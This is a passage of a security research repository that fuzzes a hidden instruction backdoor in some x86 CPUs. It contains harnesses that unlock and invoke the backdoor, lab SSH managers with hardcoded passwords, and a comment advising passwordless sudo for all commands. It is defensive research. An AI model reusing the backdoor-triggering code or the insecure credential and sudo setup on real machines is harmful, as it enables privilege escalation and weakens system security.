0x812d67c3,
0x812f0fc3,
0x812f8fe2,
0x81566702,
0x81abbf03,
0x81f7cfe2,
0x81f7dfe2,
0x83af0fe3,
0x83fb27e2,
0x84d4c5e2,
0x85140703,
0x85144503,
0x85144703,
0x85146703,
0x85344703,
0x8554e703,
0x894aa7c2,
0x899bbf03,
0x89abb702,
0x89bbbf03,
0x89f78fe2,
0x8a09bfc3,
0x8ae8d7c3,
0x8b2bbf03,
0x84647de2,
0x8597b503,
0x856f7de2,
0x873f1702,
0x873fad03,
0x877f1f02,
0x877f3f02,
0x8c1f5d02,
0x850325c4,
0x85dfc704,
0x85eb6fe5,
0x863b9f05,
0x86437dc4,
0x870bc5c5,
0x873f0f00,
0x873f3f00,
0x874b85c5,
0x8c1f1500,
0x8c1f1d00,
0x8c3f1500,
0x8c3f9d00,
0x8cbd47c0,
0x8ceb2fe5,
0x8cfda5e0,
0x8d1f1500,
0x8d5f0d00,
0x8dab6fe5,
0x8dc395c4,
0x8deb2fe5,
0x8deb5fe5,
0x8deb6de5,
0x8debefc5,
0x8dfd85e0,
0x8dfda7e4,
0x8e1b7705,
0x8e1bbf05,
0x8e5845c5,
0x8e5d65e4,
0x8f1955c5,
0x8f3f0f00,
0x8f5865e5,
0x8f7f1f00,
0x8f985de5,
0x8006d7f0,
0x8026c7d0,
0x8026d7f0,
0x80a217d0,
0x8126d7d0,
0x8136d7d0,
0x813ae710,
0x8595c705,
0x86091d07,
0x8809cfd0,
0x8819cfc8,
0x881aaf08,
0x8826d7d0,
0x8859cfd0,
0x888186c8,
0x8898c7d0,
0x8919cfc8,
0x897a6710,
0x8aa8d7d0,
0x8b734f08,
0x8b9f5de5,
0x8bf76f08,
0x8dbca5e0,
0x8ddca5e0,
0x8de92fe5,
0x8dfca5c0,
0x8dfca7e0,
0x8dfcade0,
0x8dfcbde0,
0x8dfce5e0,
0x8e491d05,
0x8e5c65c4,
0x8e5c65e4,
0x8e5c6de4,
0x8e7c85c4,
0x8e95d7c5,
0x8ec945c5,
0x8ec947c5,
0x8fa18704,
0x8fe18504,
0x851c4f03,
0x8dfcade2,
0x842aadc7,
0x862aaf07,
0x866aad07,
0x870a05c5,
0x874a1d05,
0x8d8a1de5,
0x8e62a7c4,
0x85627de2,
0x8e5165e4,
0x8ff18504,
};
*/
/* gpr xfers */
uint32_t seed_ins_source[]={
0xac128165,
0xac138147,
0xac138165,
0xac138345,
0xac1390af,
0xac13a14d,
0xac13ae90,
0xac13bf61,
0xac149b4b,
0xac15b927,
0xac1687e9,
0xac168f71,
0xac1787c1,
0xae50b662,
0xae55bac9,
0xae56be68,
0xafd1ae1f,
0xafd4ae2d,
0xafd6aa4e,
0xafd6ae2d,
0xafd6be68,
0xaff3bded,
0xb011b0e5,
0xb2548273,
0xb257a26d,
0xb257b315,
0xb3d19bb9,
0xb3d1b9b9,
0xb3d5a795,
0xb3e495c0,
0xb3f19f97,
};
#endif
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/exit/fuzz_exit.c | C | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define MAX_INSTRUCTIONS 100000
/* inline constraints will add a $ before an immediate, which .space will
* refuse to parse = no inline constriants for the space piece. can try to use
* the preprocessor but it won't be able to resolve sizeof(). no good solution.
* just hardcode the size. */
#define INSTRUCTION_SIZE 7 /* sizeof(instruction_t) */
#define PADDING (MAX_INSTRUCTIONS*INSTRUCTION_SIZE)
#define STR_HELPER(x) #x
#define STR(x) STR_HELPER(x)
typedef struct instruction_t {
unsigned char prefix[3];
unsigned int instruction;
} __attribute__ ((__packed__)) instruction_t;
int main(void) __attribute__ ((section (".check,\"awx\",@progbits#")));
instruction_t* bridge_indirect;
int main(void)
{
extern instruction_t _bridge;
instruction_t* probe=&_bridge;
unsigned int b;
int i;
instruction_t ins;
ins.prefix[0]=0x8d;
ins.prefix[1]=0x84;
ins.prefix[2]=0x00;
printf("receiving...\n");
printf(">\n"); /* signal to manager that we're ready for input */
i=0;
while (i<MAX_INSTRUCTIONS) {
if (!scanf("%08x", &b)) {
break;
}
ins.instruction=b;
*probe++=ins;
i++;
}
printf("(recieved %d instructions)\n", i);
printf("executing...\n");
__asm__ __volatile__ ("\
movl $_bridge, %%eax \n\
movl $_bridge, %%ebx \n\
movl $_bridge, %%ecx \n\
movl $_bridge, %%edx \n\
movl $_bridge, %%ebp \n\
movl $_bridge, %%esp \n\
movl $_bridge, %%esi \n\
movl $_bridge, %%edi \n\
.byte 0x0f, 0x3f \n\
jmp *%%eax /* debug */ \n\
"
::
);
__asm__ __volatile__ ("\
_bridge: \n\
.space " STR(PADDING) ", 0x90 \n\
"
);
printf("...i'm free...\n");
printf(">\n"); /* signal to manager that we're done */
return 0;
}
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/exit/fuzz_exit.sh | Shell | #!/bin/sh
# call the bridge from a wrapper, so that if it crashes we can still send out a
# message
# assumes no password required for sudo
# (add 'username ALL=(ALL) NOPASSWD: ALL' to sudoers)
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
echo "== unlocking backdoor =="
sudo modprobe msr
$DIR/../../lock/bin/unlock
echo "== launching kern.log =="
sudo tail -f /var/log/kern.log &
echo "== launching bridge =="
$DIR/bin/fuzz_exit
echo "~~ to hell and back ~~"
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/manager/device/device.py | Python | import logging
import sys
import logging.handlers
# represents a fuzzing target
class Device:
def __init__(self, relay, ip, username="user", password="password", name="unnamed"):
# configure logger
logger = logging.getLogger("%s.%s" % (__name__, relay))
file_handler = logging.handlers.RotatingFileHandler('device_%d.log' % relay, maxBytes=0, backupCount=50)
file_handler.doRollover()
logger.addHandler(file_handler)
stream_handler = logging.StreamHandler(sys.stdout)
logger.addHandler(stream_handler)
logger.setLevel(logging.INFO)
# configure device
self.relay = relay
self.ip = ip
self.up = False
self.username = username
self.password = password
self.name = name
self.logger = logger
def dprint(self, *args):
m = "> device <%d, %s, %s>: " % (self.relay, self.ip, self.name) + " ".join(map(str, args))
self.logger.info(m)
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/manager/fuzz_deis.py | Python | # manages the fuzz_deis tool on a remote target
import os
import sys
import paramiko
import time
import socket
import random
import collections
from threading import Thread
import power.power as power
import util.indent as indent
from device.device import Device
TASK_TIMEOUT = 600 # max time to run the fuzz script (seconds)
PING_DELAY = 1 # time to wait in between pings (seconds)
BOOT_TIMEOUT = 120 # max time for the target to boot (aka respond to pings) (seconds)
REMOTE_COMMAND = "~/_research/rosenbridge/fuzz/deis/fuzz_deis.sh"
SIM = False
systems = [
Device(3, "192.168.3.160", "delta", "password", "unknown"),
Device(2, "192.168.3.161", "delta", "password", "unknown"),
Device(1, "192.168.3.162", "delta", "password", "unknown"),
Device(5, "192.168.3.163", "delta", "password", "unknown"),
Device(6, "192.168.3.164", "delta", "password", "unknown"),
Device(7, "192.168.3.165", "delta", "password", "unknown"),
Device(0, "192.168.3.166", "delta", "password", "unknown"),
]
if SIM:
systems = [Device(1, "localhost", "deltaop", "xxx", "unknown")]
def device_up(device):
device.dprint("pinging %s" % device.ip)
response = os.system("timeout 1 ping -c 1 " + device.ip + " > /dev/null 2>&1")
return response == 0
# assumes device is powered off
def task(device):
on_round = 0
while True:
on_round = on_round + 1
start = time.time()
SIM or power.power_on(device.relay)
start_time = time.time()
device.up = False
while not device.up and time.time() - start_time < BOOT_TIMEOUT:
time.sleep(PING_DELAY)
device.up = device_up(device)
if not device.up:
device.dprint("device exceeded reboot time, resetting")
# this power down seems to interfere with the power on button push
# in general, if the device hasn't booted, it's just because the
# power on didn't take. just try the power on again instead.
'''
# power off
SIM or power.power_off(device.relay)
# target device seems to (sometimes) not recognize the power on, if not
# enough time has elapsed after the shut down
time.sleep(30) # needs to be large
'''
continue
device.dprint("device up")
# just because the device responds to pings doesn't mean it is
# completely booted. give the device a bit longer before trying.
time.sleep(10)
retry = True
while retry:
try:
device.dprint("connecting to device")
device.dprint("(debug) create client")
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
device.dprint("(debug) connect")
client.connect(device.ip, port=22, username=device.username,
password=device.password)
# after sshd starts, the system still has a bit to do before
# it's done booting. don't want to spam the logs with
# irrelevant kernel messages - wait a bit.
device.dprint("(waiting)")
time.sleep(10)
device.dprint("(debug) exec")
stdin, stdout, stderr = client.exec_command(
REMOTE_COMMAND,
timeout=TASK_TIMEOUT,
get_pty=True
)
device.dprint("=============== log ===============")
while True:
M_TIMEOUT = 10
abort = False
start_time = time.time()
while True:
if stdout.channel.in_buffer:
break
if time.time() - start_time > M_TIMEOUT:
device.dprint("(timeout - aborting)")
abort = True
break
time.sleep(.2)
if abort:
break
time.sleep(1) # accumulate rest of buffer
m = stdout.read(len(stdout.channel.in_buffer))
device.dprint(m)
device.dprint("=============== end ===============")
retry = False
except socket.error as e:
# the device is not yet up (probably, it is responding to pings,
# but sshd has not been started)
device.dprint("except %s" % e)
device.dprint("(retrying)")
retry = True
time.sleep(5) # don't spam the device
except socket.timeout as e:
# we successfully connected and launched a command, but the
# device restarted
device.dprint("except %s" % e)
retry = False
except:
device.dprint("generic exception")
e = sys.exc_info()[0]
device.dprint("except %s" % e)
retry = True
finally:
client.close()
SIM or power.power_off(device.relay)
# target device seems to (sometimes) not recognize the power on, if not
# enough time has elapsed after the shut down
time.sleep(10) # needs to be large
end = time.time()
device.dprint("! round %d, %.2f seconds" % (on_round, end - start))
if __name__ == "__main__":
indent.initialize_indent()
SIM or power.initialize_power()
threads = []
print "launching tasks"
for s in systems:
t = Thread(target=task, args=(s,))
threads.append(t)
t.start()
time.sleep(2)
print "completed task launch"
for t in threads:
t.join()
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/manager/fuzz_exit.py | Python | import sys
import paramiko
import time
import socket
import random
import collections
import power.power as power
import util.indent as indent
import generator
from device.device import Device
TASK_TIME = 3 # seconds
PING_TIME = 1 # seconds
USERNAME = "user"
PASSWORD = "password"
COMMAND = "~/_research/rosenbridge/fuzz/exit/fuzz_exit.sh"
SIM = False
systems = [Device(0, "192.168.3.169", "unknown")]
if SIM:
systems = [Device(0, "localhost", "unknown")]
USERNAME = "deltaop"
PASSWORD = "xxx"
#TODO: maybe alternate between strategies? the strategy needs to be integrated
# into the master generator, so that each instruction is tried with both
# strategies
JUMP_STRATEGY = 2
#TODO: want to be able to assign a device to a specific SHARED strategy ...
# that is, we're not generating data for just that device, we generate it for a
# strategy, and then many devices can pull from that data
strategy_set_0 = [
#generator.strategy_left_bits(),
#generator.strategy_right_bits(),
generator.strategy_edge_bits(),
#generator.strategy_random_bits(),
#generator.strategy_random_right_bits(),
#generator.strategy_random_left_bits(),
#generator.strategy_random_edge_bits(),
]
def strategy_set(ss):
while True:
for s in ss:
yield s.next()
#TODO: enlarge this, probably
#TODO: is it better to shuffle the instruction set after it is generated? i'm
# worried that e.g. one pattern of bits (e.g. first 4 bits 0) will all fail, so
# you'll have long runs of completely failing on the first instruction.
# randomizing gets around this. << it's better IF you think all instructions in
# your set are equally 'good'. if the set deteriorates as it goes, then you
# don't want to shuffle.
INSTRUCTIONS = 200000 # optimized for fuzzing edge bits
def generate_instructions():
print "generating instructions..."
s = strategy_set(strategy_set_0)
i = [next(s) for _ in xrange(INSTRUCTIONS)]
i = list(collections.OrderedDict.fromkeys(i))
print "...done"
return i
instructions = generate_instructions()
on_instruction = 0
#TODO: probably enlarge this too
RUN_INSTRUCTIONS = 1000
def generate_run(device):
# a run consists of the top instruction in the instruction list, and a
# random RUN_INSTRUCTIONS-1 instructions following it
global on_instruction
device.dprint("generating run...")
r = [instructions[on_instruction]]
r.extend(random.sample(instructions[on_instruction+1:], RUN_INSTRUCTIONS-1))
on_instruction = on_instruction + 1
device.dprint("...done")
return r
def device_up(device):
import os
device.dprint("pinging %s" % device.ip)
response = os.system("timeout 1 ping -c 1 " + device.ip + " > /dev/null 2>&1")
return response == 0
# assumes device is powered off
def task(device):
on_round = 0
while True:
on_round = on_round + 1
start = time.time()
SIM or power.power_on(device.relay)
while not device.up:
time.sleep(PING_TIME)
device.up = device_up(device)
device.dprint("device up")
retry = True
while retry:
try:
device.dprint("connecting to device")
device.dprint("(debug) create client")
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
device.dprint("(debug) connect")
client.connect(device.ip, port=22, username=USERNAME, password=PASSWORD)
device.dprint("(debug) exec")
stdin, stdout, stderr = client.exec_command(
COMMAND,
timeout=TASK_TIME,
get_pty=True
)
device.dprint("=============== connected ===============")
for l in iter(lambda: stdout.readline().strip(), ""):
device.dprint("% " + l)
if l == ">":
break
device.dprint("================= done. =================")
device.dprint("(debug) generating run")
r = generate_run(device)
device.dprint("(debug) selecting jump strategy")
j = JUMP_STRATEGY
device.dprint("(debug) selected jump strategy %d" % j)
device.dprint("(debug) sending test cases")
stdin.write("%d\n" % j)
for t in r:
stdin.write("%08x\n" % t)
stdin.write("-\n")
device.dprint("=============== log ===============")
for l in iter(lambda: stdout.readline().strip(), ""):
device.dprint("% " + l)
#if l == ">":
# break
device.dprint("=============== end ===============")
retry = False
except socket.error as e:
# the device is not yet up
device.dprint("except %s" % e)
device.dprint("(retrying)")
retry = True
except socket.timeout as e:
# we successfully connected and launched a command, but the
# device restarted
device.dprint("except %s" % e)
retry = False
except:
device.dprint("generic exception")
e = sys.exc_info()[0]
device.dprint("except %s" % e)
retry = True
finally:
client.close()
#TODO: if the device freezes, does holding down power cause a reboot or
# a power off?
SIM or power.power_off(device.relay)
time.sleep(1)
end = time.time()
device.dprint("! round %d, %.2f seconds" % (on_round, end - start))
if __name__ == "__main__":
indent.initialize_indent()
SIM or power.initialize_power()
'''
print "powering on systems..."
for s in systems:
power.power_on(s.relay)
print "...done"
print "waiting for systems..."
while any(not s.up for s in systems):
for s in systems:
if not s.up:
s.up = device_up(s)
print "...done"
time.sleep(5)
print "powering off systems..."
for s in systems:
power.power_off(s.relay)
print "...done"
'''
task(systems[0])
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/manager/generator.py | Python | import random
MAX_INS = 0xffffffff
HALF_INS = 0xffff
def strategy_left_bits():
i = 0
while i <= MAX_INS:
yield int('{:032b}'.format(i)[::-1], 2)
i = i + 1
def strategy_right_bits():
i = 0
while i <= MAX_INS:
yield i
i = i + 1
def strategy_edge_bits():
# this is a good way to evenly explore both sides, with no repeated cases
# or missing values - iterate over sums equal to incrementing value
yield 0
i = 1
while i <= 2 * HALF_INS:
for k in xrange(i + 1):
yield int('{:032b}'.format(i-k)[::-1], 2) | k
i = i + 1
def strategy_random_bits():
while True:
yield random.randint(0, MAX_INS)
def strategy_random_left_bits():
while True:
v = 0
for i in xrange(32):
b = 0
if random.random() < .5 * (32 - i) / 32.0:
b = 1
v = (v<<1) | b
yield v
def strategy_random_right_bits():
while True:
v = 0
for i in xrange(32):
b = 0
if random.random() < .5 * (32 - i) / 32.0:
b = 1
v = (v>>1) | (b<<31)
yield v
def strategy_random_edge_bits():
while True:
v_1 = 0
for i in xrange(16):
b = 0
if random.random() < .5 * (16 - i) / 16.0:
b = 1
v_1 = (v_1>>1) | (b<<31)
v_1 = v_1 >> 16
v_2 = 0
for i in xrange(16):
b = 0
if random.random() < .5 * (16 - i) / 16.0:
b = 1
v_2 = (v_2<<1) | b
v_2 = v_2 << 16
yield v_1 ^ v_2
def strategy_all():
strategies = [
strategy_left_bits(),
strategy_right_bits(),
strategy_edge_bits(),
strategy_random_bits(),
strategy_random_right_bits(),
strategy_random_left_bits(),
strategy_random_edge_bits(),
]
while True:
for s in strategies:
yield s.next()
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/manager/power/power.py | Python | from relay_ftdi import *
import time
import sys
RELEASE_TIME = .5
ON_TIME = 1
OFF_TIME = 6
def initialize_power():
#open_serial()
#reset_device()
pass
def power_on(device):
print "powering on device %d..." % device
close_relay(device)
time.sleep(RELEASE_TIME)
open_relay(device)
time.sleep(ON_TIME)
close_relay(device)
print "...done"
def power_off(device):
print "shutting down device %d..." % device
close_relay(device)
time.sleep(RELEASE_TIME)
open_relay(device)
time.sleep(OFF_TIME)
close_relay(device)
print "...done"
if __name__ == "__main__":
initialize_power()
power_on(int(sys.argv[1]))
time.sleep(5)
power_off(int(sys.argv[1]))
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/manager/power/relay_ftdi.py | Python | #!/usr/bin/python
# this utility serves the same purpose as relay_serial.py, but uses the
# pylibftdi driver to control the relays. it seems to work fairly well across
# different systems.
from pylibftdi import Driver
from pylibftdi import BitBangDevice
#import struct
import sys
import time
DEVICE="AI053AH4"
RELAYS = 8
relay_state = [0] * RELAYS
s = None
def list_devices():
print "Vendor\t\tProduct\t\t\tSerial"
dev_list = []
for device in Driver().list_devices():
device = map(lambda x: x.decode('latin1'), device)
vendor, product, serial = device
print "%s\t\t%s\t\t%s" % (vendor, product, serial)
def set_relays():
print "setting relay state..."
k = 0
for i in xrange(RELAYS):
k = k | (relay_state[i] << i)
#k = struct.pack("B", k)
try:
with BitBangDevice(DEVICE) as bb:
bb.port = k
except Exception, err:
print "Error: " + str(err)
sys.exit(1)
print "...done"
def open_relay(relay):
print "opening relay %d..." % relay
relay_state[relay] = 1
set_relays()
print "...done"
def close_relay(relay):
print "closing relay %d..." % relay
relay_state[relay] = 0
set_relays()
print "...done"
if __name__ == "__main__":
relay = 0
delay = 1
if len(sys.argv) > 1:
relay = int(sys.argv[1])
if len(sys.argv) > 2:
delay = int(sys.argv[2])
open_relay(relay)
time.sleep(delay)
close_relay(relay)
time.sleep(1)
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/manager/power/relay_serial.py | Python | # this utility controls the attached relays
# it seems to be fickle (works on some systems, not others), may depend on exact
# version of libftdi installed?
# if this fails, unplug and replug
# if still fails, use ./drcontrol.py -l
# and
# ./drcontrol/trunk/drcontrol.py -d AI053AH4 -c off -r all -v
# ./drcontrol/trunk/drcontrol.py -d AI053AH4 -c on -r all -v
# seemed to get everything happy
import serial
import time
import struct
from pylibftdi import Driver
DEVICE = "/dev/ttyUSB0"
BAUD = 9600
BYTE_SIZE = serial.EIGHTBITS
PARITY = serial.PARITY_NONE
STOP_BITS = serial.STOPBITS_ONE
PRODUCT = "FT245R USB FIFO"
RELAYS = 8
relay_state = [0] * RELAYS
s = None
def open_serial():
global s
print "opening serial..."
s = serial.Serial(
port=DEVICE,
baudrate=BAUD,
bytesize=BYTE_SIZE,
parity=PARITY,
stopbits=STOP_BITS,
timeout=None
)
if s.isOpen():
print "...done"
else:
print "FAILURE"
exit(1)
def set_relays():
print "setting relay state..."
k = 0
for i in xrange(RELAYS):
k = k | (relay_state[i] << i)
k = struct.pack("B", k)
s.write([k, k])
print "...done"
def open_relay(relay):
print "opening relay %d..." % relay
relay_state[relay] = 1
set_relays()
print "...done"
def close_relay(relay):
print "closing relay %d..." % relay
relay_state[relay] = 0
set_relays()
print "...done"
def retry():
# mostly so that output indentation is handled by our wrapper
print "... retrying ..."
def reset_device():
print "locating device..."
found = False
while not found:
for device in Driver().list_devices():
device = map(lambda x: x.decode('latin1'), device)
vendor, product, serial = device
print product
if product == PRODUCT:
found = True
break
else:
retry()
print "...done"
if __name__ == "__main__":
open_serial()
reset_device()
open_relay(0)
time.sleep(1)
close_relay(0)
time.sleep(1)
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/manager/repeat_fuzz_deis.sh | Shell | #!/bin/bash
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/manager/util/indent.py | Python | import sys
import inspect
class AutoIndent(object):
def __init__(self, stream, depth=len(inspect.stack())):
self.stream = stream
self.depth = depth
def indent_level(self):
return len(inspect.stack()) - self.depth
def write(self, data):
indentation = ' ' * self.indent_level()
def indent(l):
if l:
return indentation + l
else:
return l
data = '\n'.join([indent(line) for line in data.split('\n')])
self.stream.write(data)
def initialize_indent():
sys.stdout = AutoIndent(sys.stdout)
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/manager/watch_sessions.py | Python | import os
NAME = "monitor"
clients = [0, 1, 2, 3, 4, 5, 6, 7]
screen = ""
WIDTH = 4
HEIGHT = 2
with open("tmp", "w") as f:
f.write("sorendition wK\n") # white on bold black
for _ in xrange(HEIGHT - 1):
f.write("split\n");
for _ in xrange(HEIGHT):
for _ in xrange(WIDTH - 1):
f.write("split -v\n")
f.write("focus down\n")
f.write("focus top\n")
for c in clients:
f.write("screen -t %s tail -f device_%d.log\n" % (c, c))
f.write("focus\n") # focus to next region
os.system("screen -c tmp")
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/wrap/fuzz_wrapper.c | C | #define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <time.h>
#include <execinfo.h>
#include <limits.h>
#include <ucontext.h>
#include <sys/types.h>
#include <stdint.h>
#include <stdbool.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <assert.h>
#include <sched.h>
#include <pthread.h>
#include <sys/wait.h>
#include <capstone/capstone.h>
//TODO: maybe a solution is to simply fuzz 1 byte at a time... pick a first
//byte, fuzz that for 100k instructions, see what happens. then pick a new
//first byte, repeat. helps to separate out effects - no more uncertainty about
//who caused the corruption.
//TODO: unicorn support
//TODO: mmx registers
//TODO: alternatively to unicorn ... could try running the same thing with that
//bit disabled, and comparing system states ... it's probably faster and more
//reliable than unicorn, with the downside of risking that turning that bit off
//doesn't really switch it out of the special state
//*could even fork, execute one version with bit off one with bit on, and
//compare MEMORY state too
//TODO: could profile really quickly to see where you waste your time, should be
//able to get many more tests
#define DEBUG 0
#define GDB 0
csh capstone_handle;
cs_insn *capstone_insn;
#define STR(x) #x
#define XSTR(x) STR(x)
//#define START_PREFIX 0x6200 /* temp - don't want to start all over */
//#define PREFIX_LENGTH 2
#define START_PREFIX 0x620400 /* temp - don't want to start all over */
#define PREFIX_LENGTH 3
#if 0
#define TICK_MASK 0xf /* 0xfff */
#define PREFIX_TICK 100 /* 10000 */
#endif
//#define TICK_MASK 0xff /* 0xfff */
#define TICK_MASK 1 /* 0xfff */
//#define PREFIX_TICK 10000 /* 10000 */
#define PREFIX_TICK 10000 /* 10000 */
#define TIMEOUT 10000
#define KILL 1
#define UD2_SIZE 2
#define PAGE_SIZE 4096
#define TF 0x100
typedef struct {
uint32_t eax;
uint32_t ebx;
uint32_t ecx;
uint32_t edx;
uint32_t esi;
uint32_t edi;
uint32_t ebp;
uint32_t esp;
} state_t;
state_t inject_state={
.eax=0,
.ebx=0,
.ecx=0,
.edx=0,
.esi=0,
.edi=0,
.ebp=0,
.esp=0,
};
struct {
uint64_t dummy_stack_hi[256];
uint64_t dummy_stack_lo[256];
} dummy_stack __attribute__ ((aligned(PAGE_SIZE)));
void* packet;
static char stack[SIGSTKSZ];
stack_t ss = { .ss_size = SIGSTKSZ, .ss_sp = stack, };
#define MAX_INSN_LENGTH 15 /* actually 15 */
/* fault handler tries to use fault address to make an initial guess of
* instruction length; but length of jump instructions can't be determined from
* trap alone */
/* set to this if something seems wrong */
#define JMP_LENGTH 16
typedef struct {
uint8_t bytes[MAX_INSN_LENGTH];
int len; /* the number of specified bytes in the instruction */
} insn_t;
insn_t insn;
mcontext_t fault_context;
typedef struct __attribute__ ((packed)) {
uint32_t valid;
uint32_t signum;
uint32_t si_code;
uint32_t addr;
} result_t;
result_t result;
/* functions */
void preamble(void);
void inject(void);
void state_handler(int, siginfo_t*, void*);
void fault_handler(int, siginfo_t*, void*);
void configure_sig_handler(void (*)(int, siginfo_t*, void*));
void generate_instruction(void);
unsigned long long llrand(void);
void initialize_state(void);
void fuzz(void);
bool is_prefix(uint8_t);
bool has_opcode(uint8_t*);
bool has_prefix(uint8_t*);
extern char debug, resume, preamble_start, preamble_end;
uint64_t* counter; /* shared */
uint64_t* prefix; /* shared */
/* blacklists */
#define MAX_BLACKLIST 128
typedef struct {
char* opcode;
char* reason;
} ignore_op_t;
ignore_op_t opcode_blacklist[MAX_BLACKLIST]={
//{ "\x62", "bound" }, /* suspect */
{ "\x71", "jcc" }, /* temp, causing too many kills */
{ "\x72", "jcc" },
{ "\x73", "jcc" },
{ "\x74", "jcc" },
{ "\x75", "jcc" },
{ "\x76", "jcc" },
{ "\x77", "jcc" },
{ "\x78", "jcc" },
{ "\x79", "jcc" },
{ "\x7a", "jcc" },
{ "\x7b", "jcc" },
{ "\x7c", "jcc" },
{ "\x7d", "jcc" },
{ "\x7e", "jcc" },
{ "\x7f", "jcc" },
{ "\xcd\x80", "int80" },
{ "\xdf", "float" }, /* suspect */
{ "\xdb", "float" }, /* suspect */
{ "\xde", "fdivp" }, /* suspect */
{ "\xe2", "loop" }, /* causing too many kills */
{ "\xeb", "jmp" }, /* causing too many kills */
{ NULL, NULL }
};
void initialize_capstone(void)
{
if (cs_open(CS_ARCH_X86, CS_MODE_32, &capstone_handle) != CS_ERR_OK) {
exit(1);
}
capstone_insn = cs_malloc(capstone_handle);
}
int get_instruction_length(void)
{
uint8_t* code=insn.bytes;
size_t code_size=MAX_INSN_LENGTH;
uint64_t address=(uintptr_t)packet;
if (cs_disasm_iter(
capstone_handle,
(const uint8_t**)&code,
&code_size,
&address,
capstone_insn)
) {
/*
printf(
"%10s %-45s (%2d)",
capstone_insn[0].mnemonic,
capstone_insn[0].op_str,
(int)(address-(uintptr_t)packet)
);
*/
}
return (int)(address-(uintptr_t)packet);
}
/* this becomes hairy with "mandatory prefix" instructions */
bool is_prefix(uint8_t x)
{
return
x==0xf0 || /* lock */
x==0xf2 || /* repne / bound */
x==0xf3 || /* rep */
x==0x2e || /* cs / branch taken */
x==0x36 || /* ss / branch not taken */
x==0x3e || /* ds */
x==0x26 || /* es */
x==0x64 || /* fs */
x==0x65 || /* gs */
x==0x66 || /* data */
x==0x67 /* addr */
#if __x86_64__
|| (x>=0x40 && x<=0x4f) /* rex */
#endif
;
}
//TODO: can't blacklist 00
bool has_opcode(uint8_t* op)
{
int i, j;
for (i=0; i<MAX_INSN_LENGTH; i++) {
if (!is_prefix(insn.bytes[i])) {
j=0;
do {
if (i+j>=MAX_INSN_LENGTH || op[j]!=insn.bytes[i+j]) {
return false;
}
j++;
} while (op[j]);
return true;
}
}
return false;
}
//TODO: can't blacklist 00
bool has_prefix(uint8_t* pre)
{
int i, j;
for (i=0; i<MAX_INSN_LENGTH; i++) {
if (is_prefix(insn.bytes[i])) {
j=0;
do {
if (insn.bytes[i]==pre[j]) {
return true;
}
j++;
} while (pre[j]);
}
else {
return false;
}
}
return false;
}
void print_insn(insn_t* insn)
{
int i;
for (i=0; i<sizeof(insn->bytes); i++) {
printf("%02x", insn->bytes[i]);
}
printf("\n");
fflush(stdout);
}
/* gcc doesn't allow naked inline, i hate it */
void preamble(void)
{
__asm__ __volatile__ ("\
.global preamble_start \n\
preamble_start: \n\
pushfl \n\
orl %0, (%%esp) \n\
popfl \n\
.global preamble_end \n\
preamble_end: \n\
"
:
:"i"(TF)
);
}
unsigned long long llrand(void)
{
int i;
unsigned long long r=0;
for (i=0; i<5; ++i) {
r = (r<<15)|(rand()&0x7FFF);
}
return r&0xFFFFFFFFFFFFFFFFULL;
}
void initialize_state(void)
{
inject_state=(state_t){
.eax=llrand(),
.ebx=llrand(),
.ecx=llrand(),
.edx=llrand(),
.esi=llrand(),
.edi=llrand(),
.ebp=llrand(),
/* .esp=llrand(), */
.esp=(uintptr_t)&dummy_stack.dummy_stack_lo,
};
}
uint8_t cleanup[]={0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x0f, 0x0b};
void inject(void)
{
int i;
int preamble_length=(&preamble_end-&preamble_start);
